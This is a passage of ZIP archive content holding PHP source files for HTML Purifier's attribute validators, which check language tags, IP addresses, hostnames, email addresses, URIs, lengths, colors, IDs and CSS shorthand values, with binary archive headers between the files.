*/
class HTMLPurifier_AttrDef_Lang extends HTMLPurifier_AttrDef
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
if (!$string) {
return false;
}
$subtags = explode('-', $string);
$num_subtags = count($subtags);
if ($num_subtags == 0) { // sanity check
return false;
}
// process primary subtag : $subtags[0]
$length = strlen($subtags[0]);
switch ($length) {
case 0:
return false;
case 1:
if (!($subtags[0] == 'x' || $subtags[0] == 'i')) {
return false;
}
break;
case 2:
case 3:
if (!ctype_alpha($subtags[0])) {
return false;
} elseif (!ctype_lower($subtags[0])) {
$subtags[0] = strtolower($subtags[0]);
}
break;
default:
return false;
}
$new_string = $subtags[0];
if ($num_subtags == 1) {
return $new_string;
}
// process second subtag : $subtags[1]
$length = strlen($subtags[1]);
if ($length == 0 || ($length == 1 && $subtags[1] != 'x') || $length > 8 || !ctype_alnum($subtags[1])) {
return $new_string;
}
if (!ctype_lower($subtags[1])) {
$subtags[1] = strtolower($subtags[1]);
}
$new_string .= '-' . $subtags[1];
if ($num_subtags == 2) {
return $new_string;
}
// process all other subtags, index 2 and up
for ($i = 2; $i < $num_subtags; $i++) {
$length = strlen($subtags[$i]);
if ($length == 0 || $length > 8 || !ctype_alnum($subtags[$i])) {
return $new_string;
}
if (!ctype_lower($subtags[$i])) {
$subtags[$i] = strtolower($subtags[$i]);
}
$new_string .= '-' . $subtags[$i];
}
return $new_string;
}
}
// vim: et sw=4 sts=4
PK j�$Zc)��� � 6 htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.phpnu �[��� <?php
/**
* Validates an IPv4 address
* @author Feyd @ forums.devnetwork.net (public domain)
*/
class HTMLPurifier_AttrDef_URI_IPv4 extends HTMLPurifier_AttrDef
{
/**
* IPv4 regex, protected so that IPv6 can reuse it.
* @type string
*/
protected $ip4;
/**
* @param string $aIP
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($aIP, $config, $context)
{
if (!$this->ip4) {
$this->_loadRegex();
}
if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) {
return $aIP;
}
return false;
}
/**
* Lazy load function to prevent regex from being stuffed in
* cache.
*/
protected function _loadRegex()
{
$oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255
$this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})";
}
}
// vim: et sw=4 sts=4
PK j�$Zx�ٺW W 7 htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email.phpnu �[��� <?php
abstract class HTMLPurifier_AttrDef_URI_Email extends HTMLPurifier_AttrDef
{
/**
* Unpacks a mailbox into its display-name and address
* @param string $string
* @return mixed
*/
public function unpack($string)
{
// needs to be implemented
}
}
// sub-implementations
// vim: et sw=4 sts=4
PK j�$Z7f�� 6 htmlpurifier/library/HTMLPurifier/AttrDef/URI/Host.phpnu �[��� <?php
/**
* Validates a host according to the IPv4, IPv6 and DNS (future) specifications.
*/
class HTMLPurifier_AttrDef_URI_Host extends HTMLPurifier_AttrDef
{
/**
* IPv4 sub-validator.
* @type HTMLPurifier_AttrDef_URI_IPv4
*/
protected $ipv4;
/**
* IPv6 sub-validator.
* @type HTMLPurifier_AttrDef_URI_IPv6
*/
protected $ipv6;
public function __construct()
{
$this->ipv4 = new HTMLPurifier_AttrDef_URI_IPv4();
$this->ipv6 = new HTMLPurifier_AttrDef_URI_IPv6();
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$length = strlen($string);
// empty hostname is OK; it's usually semantically equivalent:
// the default host as defined by a URI scheme is used:
//
// If the URI scheme defines a default for host, then that
// default applies when the host subcomponent is undefined
// or when the registered name is empty (zero length).
if ($string === '') {
return '';
}
if ($length > 1 && $string[0] === '[' && $string[$length - 1] === ']') {
//IPv6
$ip = substr($string, 1, $length - 2);
$valid = $this->ipv6->validate($ip, $config, $context);
if ($valid === false) {
return false;
}
return '[' . $valid . ']';
}
// need to do checks on unusual encodings too
$ipv4 = $this->ipv4->validate($string, $config, $context);
if ($ipv4 !== false) {
return $ipv4;
}
// A regular domain name.
// This doesn't match I18N domain names, but we don't have proper IRI support,
// so force users to insert Punycode.
// There is not a good sense in which underscores should be
// allowed, since it's technically not! (And if you go as
// far to allow everything as specified by the DNS spec...
// well, that's literally everything, modulo some space limits
// for the components and the overall name (which, by the way,
// we are NOT checking!). So we (arbitrarily) decide this:
// let's allow underscores wherever we would have allowed
// hyphens, if they are enabled. This is a pretty good match
// for browser behavior, for example, a large number of browsers
// cannot handle foo_.example.com, but foo_bar.example.com is
// fairly well supported.
$underscore = $config->get('Core.AllowHostnameUnderscore') ? '_' : '';
// Based off of RFC 1738, but amended so that
// as per RFC 3696, the top label need only not be all numeric.
// The productions describing this are:
$a = '[a-z]'; // alpha
$an = '[a-z0-9]'; // alphanum
$and = "[a-z0-9-$underscore]"; // alphanum | "-"
// domainlabel = alphanum | alphanum *( alphanum | "-" ) alphanum
$domainlabel = "$an(?:$and*$an)?";
// AMENDED as per RFC 3696
// toplabel = alphanum | alphanum *( alphanum | "-" ) alphanum
// side condition: not all numeric
$toplabel = "$an(?:$and*$an)?";
// hostname = *( domainlabel "." ) toplabel [ "." ]
if (preg_match("/^(?:$domainlabel\.)*($toplabel)\.?$/i", $string, $matches)) {
if (!ctype_digit($matches[1])) {
return $string;
}
}
// PHP 5.3 and later support this functionality natively
if (function_exists('idn_to_ascii')) {
if (defined('IDNA_NONTRANSITIONAL_TO_ASCII') && defined('INTL_IDNA_VARIANT_UTS46')) {
$string = idn_to_ascii($string, IDNA_NONTRANSITIONAL_TO_ASCII, INTL_IDNA_VARIANT_UTS46);
} else {
$string = idn_to_ascii($string);
}
// If we have Net_IDNA2 support, we can support IRIs by
// punycoding them. (This is the most portable thing to do,
// since otherwise we have to assume browsers support
} elseif ($config->get('Core.EnableIDNA')) {
$idna = new Net_IDNA2(array('encoding' => 'utf8', 'overlong' => false, 'strict' => true));
// we need to encode each period separately
$parts = explode('.', $string);
try {
$new_parts = array();
foreach ($parts as $part) {
$encodable = false;
for ($i = 0, $c = strlen($part); $i < $c; $i++) {
if (ord($part[$i]) > 0x7a) {
$encodable = true;
break;
}
}
if (!$encodable) {
$new_parts[] = $part;
} else {
$new_parts[] = $idna->encode($part);
}
}
$string = implode('.', $new_parts);
} catch (Exception $e) {
// XXX error reporting
}
}
// Try again
if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) {
return $string;
}
return false;
}
}
// vim: et sw=4 sts=4
PK j�$ZwlL8 8 C htmlpurifier/library/HTMLPurifier/AttrDef/URI/Email/SimpleCheck.phpnu �[��� <?php
/**
* Primitive email validation class based on the regexp found at
* http://www.regular-expressions.info/email.html
*/
class HTMLPurifier_AttrDef_URI_Email_SimpleCheck extends HTMLPurifier_AttrDef_URI_Email
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
// no support for named mailboxes i.e. "Bob <bob@example.com>"
// that needs more percent encoding to be done
if ($string == '') {
return false;
}
$string = trim($string);
$result = preg_match('/^[A-Z0-9._%-]+@[A-Z0-9.-]+\.[A-Z]{2,4}$/i', $string);
return $result ? $string : false;
}
}
// vim: et sw=4 sts=4
PK j�$Z��`� � 6 htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.phpnu �[��� <?php
/**
* Validates an IPv6 address.
* @author Feyd @ forums.devnetwork.net (public domain)
* @note This function requires brackets to have been removed from address
* in URI.
*/
class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4
{
/**
* @param string $aIP
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($aIP, $config, $context)
{
if (!$this->ip4) {
$this->_loadRegex();
}
$original = $aIP;
$hex = '[0-9a-fA-F]';
$blk = '(?:' . $hex . '{1,4})';
$pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128
// prefix check
if (strpos($aIP, '/') !== false) {
if (preg_match('#' . $pre . '$#s', $aIP, $find)) {
$aIP = substr($aIP, 0, 0 - strlen($find[0]));
unset($find);
} else {
return false;
}
}
// IPv4-compatiblity check
if (preg_match('#(?<=:' . ')' . $this->ip4 . '$#s', $aIP, $find)) {
$aIP = substr($aIP, 0, 0 - strlen($find[0]));
$ip = explode('.', $find[0]);
$ip = array_map('dechex', $ip);
$aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3];
unset($find, $ip);
}
// compression check
$aIP = explode('::', $aIP);
$c = count($aIP);
if ($c > 2) {
return false;
} elseif ($c == 2) {
list($first, $second) = $aIP;
$first = explode(':', $first);
$second = explode(':', $second);
if (count($first) + count($second) > 8) {
return false;
}
while (count($first) < 8) {
array_push($first, '0');
}
array_splice($first, 8 - count($second), 8, $second);
$aIP = $first;
unset($first, $second);
} else {
$aIP = explode(':', $aIP[0]);
}
$c = count($aIP);
if ($c != 8) {
return false;
}
// All the pieces should be 16-bit hex strings. Are they?
foreach ($aIP as $piece) {
if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) {
return false;
}
}
return $original;
}
}
// vim: et sw=4 sts=4
PK j�$Z��)� � 2 htmlpurifier/library/HTMLPurifier/AttrDef/Enum.phpnu �[��� <?php
// Enum = Enumerated
/**
* Validates a keyword against a list of valid values.
* @warning The case-insensitive compare of this function uses PHP's
* built-in strtolower and ctype_lower functions, which may
* cause problems with international comparisons
*/
class HTMLPurifier_AttrDef_Enum extends HTMLPurifier_AttrDef
{
/**
* Lookup table of valid values.
* @type array
* @todo Make protected
*/
public $valid_values = array();
/**
* Bool indicating whether or not enumeration is case sensitive.
* @note In general this is always case insensitive.
*/
protected $case_sensitive = false; // values according to W3C spec
/**
* @param array $valid_values List of valid values
* @param bool $case_sensitive Whether or not case sensitive
*/
public function __construct($valid_values = array(), $case_sensitive = false)
{
$this->valid_values = array_flip($valid_values);
$this->case_sensitive = $case_sensitive;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
if (!$this->case_sensitive) {
// we may want to do full case-insensitive libraries
$string = ctype_lower($string) ? $string : strtolower($string);
}
$result = isset($this->valid_values[$string]);
return $result ? $string : false;
}
/**
* @param string $string In form of comma-delimited list of case-insensitive
* valid values. Example: "foo,bar,baz". Prepend "s:" to make
* case sensitive
* @return HTMLPurifier_AttrDef_Enum
*/
public function make($string)
{
if (strlen($string) > 2 && $string[0] == 's' && $string[1] == ':') {
$string = substr($string, 2);
$sensitive = true;
} else {
$sensitive = false;
}
$values = explode(',', $string);
return new HTMLPurifier_AttrDef_Enum($values, $sensitive);
}
}
// vim: et sw=4 sts=4
PK j�$Z%�A�a a ; htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Nmtokens.phpnu �[��� <?php
/**
* Validates contents based on NMTOKENS attribute type.
*/
class HTMLPurifier_AttrDef_HTML_Nmtokens extends HTMLPurifier_AttrDef
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
// early abort: '' and '0' (strings that convert to false) are invalid
if (!$string) {
return false;
}
$tokens = $this->split($string, $config, $context);
$tokens = $this->filter($tokens, $config, $context);
if (empty($tokens)) {
return false;
}
return implode(' ', $tokens);
}
/**
* Splits a space separated list of tokens into its constituent parts.
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
protected function split($string, $config, $context)
{
// OPTIMIZABLE!
// do the preg_match, capture all subpatterns for reformulation
// we don't support U+00A1 and up codepoints or
// escaping because I don't know how to do that with regexps
// and plus it would complicate optimization efforts (you never
// see that anyway).
$pattern = '/(?:(?<=\s)|\A)' . // look behind for space or string start
'((?:--|-?[A-Za-z_])[A-Za-z_\-0-9]*)' .
'(?:(?=\s)|\z)/'; // look ahead for space or string end
preg_match_all($pattern, $string, $matches);
return $matches[1];
}
/**
* Template method for removing certain tokens based on arbitrary criteria.
* @note If we wanted to be really functional, we'd do an array_filter
* with a callback. But... we're not.
* @param array $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
protected function filter($tokens, $config, $context)
{
return $tokens;
}
}
// vim: et sw=4 sts=4
PK j�$Z� A�� � 9 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Pixels.phpnu �[��� <?php
/**
* Validates an integer representation of pixels according to the HTML spec.
*/
class HTMLPurifier_AttrDef_HTML_Pixels extends HTMLPurifier_AttrDef
{
/**
* @type int
*/
protected $max;
/**
* @param int $max
*/
public function __construct($max = null)
{
$this->max = $max;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
if ($string === '0') {
return $string;
}
if ($string === '') {
return false;
}
$length = strlen($string);
if (substr($string, $length - 2) == 'px') {
$string = substr($string, 0, $length - 2);
}
if (!is_numeric($string)) {
return false;
}
$int = (int)$string;
if ($int < 0) {
return '0';
}
// upper-bound value, extremely high values can
// crash operating systems, see <http://ha.ckers.org/imagecrash.html>
// WARNING, above link WILL crash you if you're using Windows
if ($this->max !== null && $int > $this->max) {
return (string)$this->max;
}
return (string)$int;
}
/**
* @param string $string
* @return HTMLPurifier_AttrDef
*/
public function make($string)
{
if ($string === '') {
$max = null;
} else {
$max = (int)$string;
}
$class = get_class($this);
return new $class($max);
}
}
// vim: et sw=4 sts=4
PK j�$Z���� � < htmlpurifier/library/HTMLPurifier/AttrDef/HTML/LinkTypes.phpnu �[��� <?php
/**
* Validates a rel/rev link attribute against a directive of allowed values
* @note We cannot use Enum because link types allow multiple
* values.
* @note Assumes link types are ASCII text
*/
class HTMLPurifier_AttrDef_HTML_LinkTypes extends HTMLPurifier_AttrDef
{
/**
* Name config attribute to pull.
* @type string
*/
protected $name;
/**
* @param string $name
*/
public function __construct($name)
{
$configLookup = array(
'rel' => 'AllowedRel',
'rev' => 'AllowedRev'
);
if (!isset($configLookup[$name])) {
trigger_error(
'Unrecognized attribute name for link ' .
'relationship.',
E_USER_ERROR
);
return;
}
$this->name = $configLookup[$name];
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$allowed = $config->get('Attr.' . $this->name);
if (empty($allowed)) {
return false;
}
$string = $this->parseCDATA($string);
$parts = explode(' ', $string);
// lookup to prevent duplicates
$ret_lookup = array();
foreach ($parts as $part) {
$part = strtolower(trim($part));
if (!isset($allowed[$part])) {
continue;
}
$ret_lookup[$part] = true;
}
if (empty($ret_lookup)) {
return false;
}
$string = implode(' ', array_keys($ret_lookup));
return $string;
}
}
// vim: et sw=4 sts=4
PK j�$ZQ�2;� � 8 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Color.phpnu �[��� <?php
/**
* Validates a color according to the HTML spec.
*/
class HTMLPurifier_AttrDef_HTML_Color extends HTMLPurifier_AttrDef
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
static $colors = null;
if ($colors === null) {
$colors = $config->get('Core.ColorKeywords');
}
$string = trim($string);
if (empty($string)) {
return false;
}
$lower = strtolower($string);
if (isset($colors[$lower])) {
return $colors[$lower];
}
if ($string[0] === '#') {
$hex = substr($string, 1);
} else {
$hex = $string;
}
$length = strlen($hex);
if ($length !== 3 && $length !== 6) {
return false;
}
if (!ctype_xdigit($hex)) {
return false;
}
if ($length === 3) {
$hex = $hex[0] . $hex[0] . $hex[1] . $hex[1] . $hex[2] . $hex[2];
}
return "#$hex";
}
}
// vim: et sw=4 sts=4
PK j�$ZA�� � 8 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Class.phpnu �[��� <?php
/**
* Implements special behavior for class attribute (normally NMTOKENS)
*/
class HTMLPurifier_AttrDef_HTML_Class extends HTMLPurifier_AttrDef_HTML_Nmtokens
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
protected function split($string, $config, $context)
{
// really, this twiddle should be lazy loaded
$name = $config->getDefinition('HTML')->doctype->name;
if ($name == "XHTML 1.1" || $name == "XHTML 2.0") {
return parent::split($string, $config, $context);
} else {
return preg_split('/\s+/', $string);
}
}
/**
* @param array $tokens
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return array
*/
protected function filter($tokens, $config, $context)
{
$allowed = $config->get('Attr.AllowedClasses');
$forbidden = $config->get('Attr.ForbiddenClasses');
$ret = array();
foreach ($tokens as $token) {
if (($allowed === null || isset($allowed[$token])) &&
!isset($forbidden[$token]) &&
// We need this O(n) check because of PHP's array
// implementation that casts -0 to 0.
!in_array($token, $ret, true)
) {
$ret[] = $token;
}
}
return $ret;
}
}
PK j�$ZZ���� � 9 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Length.phpnu �[��� <?php
/**
* Validates the HTML type length (not to be confused with CSS's length).
*
* This accepts integer pixels or percentages as lengths for certain
* HTML attributes.
*/
class HTMLPurifier_AttrDef_HTML_Length extends HTMLPurifier_AttrDef_HTML_Pixels
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
if ($string === '') {
return false;
}
$parent_result = parent::validate($string, $config, $context);
if ($parent_result !== false) {
return $parent_result;
}
$length = strlen($string);
$last_char = $string[$length - 1];
if ($last_char !== '%') {
return false;
}
$points = substr($string, 0, $length - 1);
if (!is_numeric($points)) {
return false;
}
$points = (int)$points;
if ($points < 0) {
return '0%';
}
if ($points > 100) {
return '100%';
}
return ((string)$points) . '%';
}
}
// vim: et sw=4 sts=4
PK j�$Z v �i i 7 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/Bool.phpnu �[��� <?php
/**
* Validates a boolean attribute
*/
class HTMLPurifier_AttrDef_HTML_Bool extends HTMLPurifier_AttrDef
{
/**
* @type string
*/
protected $name;
/**
* @type bool
*/
public $minimized = true;
/**
* @param bool|string $name
*/
public function __construct($name = false)
{
$this->name = $name;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
return $this->name;
}
/**
* @param string $string Name of attribute
* @return HTMLPurifier_AttrDef_HTML_Bool
*/
public function make($string)
{
return new HTMLPurifier_AttrDef_HTML_Bool($string);
}
}
// vim: et sw=4 sts=4
PK j�$Zpi�iB B > htmlpurifier/library/HTMLPurifier/AttrDef/HTML/FrameTarget.phpnu �[��� <?php
/**
* Special-case enum attribute definition that lazy loads allowed frame targets
*/
class HTMLPurifier_AttrDef_HTML_FrameTarget extends HTMLPurifier_AttrDef_Enum
{
/**
* @type array
*/
public $valid_values = false; // uninitialized value
/**
* @type bool
*/
protected $case_sensitive = false;
public function __construct()
{
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
if ($this->valid_values === false) {
$this->valid_values = $config->get('Attr.AllowedFrameTargets');
}
return parent::validate($string, $config, $context);
}
}
// vim: et sw=4 sts=4
PK j�$Z�M�I4 4 > htmlpurifier/library/HTMLPurifier/AttrDef/HTML/MultiLength.phpnu �[��� <?php
/**
* Validates a MultiLength as defined by the HTML spec.
*
* A multilength is either a integer (pixel count), a percentage, or
* a relative number.
*/
class HTMLPurifier_AttrDef_HTML_MultiLength extends HTMLPurifier_AttrDef_HTML_Length
{
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = trim($string);
if ($string === '') {
return false;
}
$parent_result = parent::validate($string, $config, $context);
if ($parent_result !== false) {
return $parent_result;
}
$length = strlen($string);
$last_char = $string[$length - 1];
if ($last_char !== '*') {
return false;
}
$int = substr($string, 0, $length - 1);
if ($int == '') {
return '*';
}
if (!is_numeric($int)) {
return false;
}
$int = (int)$int;
if ($int < 0) {
return false;
}
if ($int == 0) {
return '0';
}
if ($int == 1) {
return '*';
}
return ((string)$int) . '*';
}
}
// vim: et sw=4 sts=4
PK j�$Z] Ȅ � 5 htmlpurifier/library/HTMLPurifier/AttrDef/HTML/ID.phpnu �[��� <?php
/**
* Validates the HTML attribute ID.
* @warning Even though this is the id processor, it
* will ignore the directive Attr:IDBlacklist, since it will only
* go according to the ID accumulator. Since the accumulator is
* automatically generated, it will have already absorbed the
* blacklist. If you're hacking around, make sure you use load()!
*/
class HTMLPurifier_AttrDef_HTML_ID extends HTMLPurifier_AttrDef
{
// selector is NOT a valid thing to use for IDREFs, because IDREFs
// *must* target IDs that exist, whereas selector #ids do not.
/**
* Determines whether or not we're validating an ID in a CSS
* selector context.
* @type bool
*/
protected $selector;
/**
* @param bool $selector
*/
public function __construct($selector = false)
{
$this->selector = $selector;
}
/**
* @param string $id
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($id, $config, $context)
{
if (!$this->selector && !$config->get('Attr.EnableID')) {
return false;
}
$id = trim($id); // trim it first
if ($id === '') {
return false;
}
$prefix = $config->get('Attr.IDPrefix');
if ($prefix !== '') {
$prefix .= $config->get('Attr.IDPrefixLocal');
// prevent re-appending the prefix
if (strpos($id, $prefix) !== 0) {
$id = $prefix . $id;
}
} elseif ($config->get('Attr.IDPrefixLocal') !== '') {
trigger_error(
'%Attr.IDPrefixLocal cannot be used unless ' .
'%Attr.IDPrefix is set',
E_USER_WARNING
);
}
if (!$this->selector) {
$id_accumulator =& $context->get('IDAccumulator');
if (isset($id_accumulator->ids[$id])) {
return false;
}
}
// we purposely avoid using regex, hopefully this is faster
if ($config->get('Attr.ID.HTML5') === true) {
if (preg_match('/[\t\n\x0b\x0c ]/', $id)) {
return false;
}
} else {
if (ctype_alpha($id)) {
// OK
} else {
if (!ctype_alpha(@$id[0])) {
return false;
}
// primitive style of regexps, I suppose
$trim = trim(
$id,
'A..Za..z0..9:-._'
);
if ($trim !== '') {
return false;
}
}
}
$regexp = $config->get('Attr.IDBlacklistRegexp');
if ($regexp && preg_match($regexp, $id)) {
return false;
}
if (!$this->selector) {
$id_accumulator->add($id);
}
// if no change was made to the ID, return the result
// else, return the new id if stripping whitespace made it
// valid, or return false.
return $id;
}
}
// vim: et sw=4 sts=4
PK j�$Z��_�h h 3 htmlpurifier/library/HTMLPurifier/AttrDef/Clone.phpnu �[��� <?php
/**
* Dummy AttrDef that mimics another AttrDef, BUT it generates clones
* with make.
*/
class HTMLPurifier_AttrDef_Clone extends HTMLPurifier_AttrDef
{
/**
* What we're cloning.
* @type HTMLPurifier_AttrDef
*/
protected $clone;
/**
* @param HTMLPurifier_AttrDef $clone
*/
public function __construct($clone)
{
$this->clone = $clone;
}
/**
* @param string $v
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($v, $config, $context)
{
return $this->clone->validate($v, $config, $context);
}
/**
* @param string $string
* @return HTMLPurifier_AttrDef
*/
public function make($string)
{
return clone $this->clone;
}
}
// vim: et sw=4 sts=4
PK j�$Z �ؘ
�
1 htmlpurifier/library/HTMLPurifier/AttrDef/URI.phpnu �[��� <?php
/**
* Validates a URI as defined by RFC 3986.
* @note Scheme-specific mechanics deferred to HTMLPurifier_URIScheme
*/
class HTMLPurifier_AttrDef_URI extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_URIParser
*/
protected $parser;
/**
* @type bool
*/
protected $embedsResource;
/**
* @param bool $embeds_resource Does the URI here result in an extra HTTP request?
*/
public function __construct($embeds_resource = false)
{
$this->parser = new HTMLPurifier_URIParser();
$this->embedsResource = (bool)$embeds_resource;
}
/**
* @param string $string
* @return HTMLPurifier_AttrDef_URI
*/
public function make($string)
{
$embeds = ($string === 'embedded');
return new HTMLPurifier_AttrDef_URI($embeds);
}
/**
* @param string $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($uri, $config, $context)
{
if ($config->get('URI.Disable')) {
return false;
}
$uri = $this->parseCDATA($uri);
// parse the URI
$uri = $this->parser->parse($uri);
if ($uri === false) {
return false;
}
// add embedded flag to context for validators
$context->register('EmbeddedURI', $this->embedsResource);
$ok = false;
do {
// generic validation
$result = $uri->validate($config, $context);
if (!$result) {
break;
}
// chained filtering
$uri_def = $config->getDefinition('URI');
$result = $uri_def->filter($uri, $config, $context);
if (!$result) {
break;
}
// scheme-specific validation
$scheme_obj = $uri->getSchemeObj($config, $context);
if (!$scheme_obj) {
break;
}
if ($this->embedsResource && !$scheme_obj->browsable) {
break;
}
$result = $scheme_obj->validate($uri, $config, $context);
if (!$result) {
break;
}
// Post chained filtering
$result = $uri_def->postFilter($uri, $config, $context);
if (!$result) {
break;
}
// survived gauntlet
$ok = true;
} while (false);
$context->destroy('EmbeddedURI');
if (!$ok) {
return false;
}
// back to string
return $uri->toString();
}
}
// vim: et sw=4 sts=4
PK j�$Z�+^�� � < htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Background.phpnu �[��� <?php
/**
* Validates shorthand CSS property background.
* @warning Does not support url tokens that have internal spaces.
*/
class HTMLPurifier_AttrDef_CSS_Background extends HTMLPurifier_AttrDef
{
/**
* Local copy of component validators.
* @type HTMLPurifier_AttrDef[]
* @note See HTMLPurifier_AttrDef_Font::$info for a similar impl.
*/
protected $info;
/**
* @param HTMLPurifier_Config $config
*/
public function __construct($config)
{
$def = $config->getCSSDefinition();
$this->info['background-color'] = $def->info['background-color'];
$this->info['background-image'] = $def->info['background-image'];
$this->info['background-repeat'] = $def->info['background-repeat'];
$this->info['background-attachment'] = $def->info['background-attachment'];
$this->info['background-position'] = $def->info['background-position'];
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
// regular pre-processing
$string = $this->parseCDATA($string);
if ($string === '') {
return false;
}
// munge rgb() decl if necessary
$string = $this->mungeRgb($string);
// assumes URI doesn't have spaces in it
$bits = explode(' ', $string); // bits to process
$caught = array();
$caught['color'] = false;
$caught['image'] = false;
$caught['repeat'] = false;
$caught['attachment'] = false;
$caught['position'] = false;
$i = 0; // number of catches
foreach ($bits as $bit) {
if ($bit === '') {
continue;
}
foreach ($caught as $key => $status) {
if ($key != 'position') {
if ($status !== false) {
continue;
}
$r = $this->info['background-' . $key]->validate($bit, $config, $context);
} else {
$r = $bit;
}
if ($r === false) {
continue;
}
if ($key == 'position') {
if ($caught[$key] === false) {
$caught[$key] = '';
}
$caught[$key] .= $r . ' ';
} else {
$caught[$key] = $r;
}
$i++;
break;
}
}
if (!$i) {
return false;
}
if ($caught['position'] !== false) {
$caught['position'] = $this->info['background-position']->
validate($caught['position'], $config, $context);
}
$ret = array();
foreach ($caught as $value) {
if ($value === false) {
continue;
}
$ret[] = $value;
}
if (empty($ret)) {
return false;
}
return implode(' ', $ret);
}
}
// vim: et sw=4 sts=4
PK j�$Z���, , : htmlpurifier/library/HTMLPurifier/AttrDef/CSS/Multiple.phpnu �[��� <?php
/**
* Framework class for strings that involve multiple values.
*
* Certain CSS properties such as border-width and margin allow multiple
* lengths to be specified. This class can take a vanilla border-width
* definition and multiply it, usually into a max of four.
*
* @note Even though the CSS specification isn't clear about it, inherit
* can only be used alone: it will never manifest as part of a multi
* shorthand declaration. Thus, this class does not allow inherit.
*/
class HTMLPurifier_AttrDef_CSS_Multiple extends HTMLPurifier_AttrDef
{
/**
* Instance of component definition to defer validation to.
* @type HTMLPurifier_AttrDef
* @todo Make protected
*/
public $single;
/**
* Max number of values allowed.
* @todo Make protected
*/
public $max;
/**
* @param HTMLPurifier_AttrDef $single HTMLPurifier_AttrDef to multiply
* @param int $max Max number of values allowed (usually four)
*/
public function __construct($single, $max = 4)
{
$this->single = $single;
$this->max = $max;
}
/**
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
$string = $this->mungeRgb($this->parseCDATA($string));
if ($string === '') {
return false;
}
$parts = explode(' ', $string); // parseCDATA replaced \r, \t and \n
$length = count($parts);
$final = '';
for ($i = 0, $num = 0; $i < $length && $num < $this->max; $i++) {
if (ctype_space($parts[$i])) {
continue;
}
$result = $this->single->validate($parts[$i], $config, $context);
if ($result !== false) {
$final .= $result . ' ';
$num++;
}
}
if ($final === '') {
return false;
}
return rtrim($final);
}
}
// vim: et sw=4 sts=4
PK j�$ZЈ�~3 3 F htmlpurifier/library/HTMLPurifier/AttrDef/CSS/DenyElementDecorator.phpnu �[��� <?php
/**
* Decorator which enables CSS properties to be disabled for specific elements.
*/
class HTMLPurifier_AttrDef_CSS_DenyElementDecorator extends HTMLPurifier_AttrDef
{
/**
* @type HTMLPurifier_AttrDef
*/
public $def;
/**
* @type string
*/
public $element;
/**
* @param HTMLPurifier_AttrDef $def Definition to wrap
* @param string $element Element to deny
*/
public function __construct($def, $element)
{
$this->def = $def;
$this->element = $element;
}
/**
* Checks if CurrentToken is set and equal to $this->element
* @param string $string
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool|string
*/
public function validate($string, $config, $context)
{
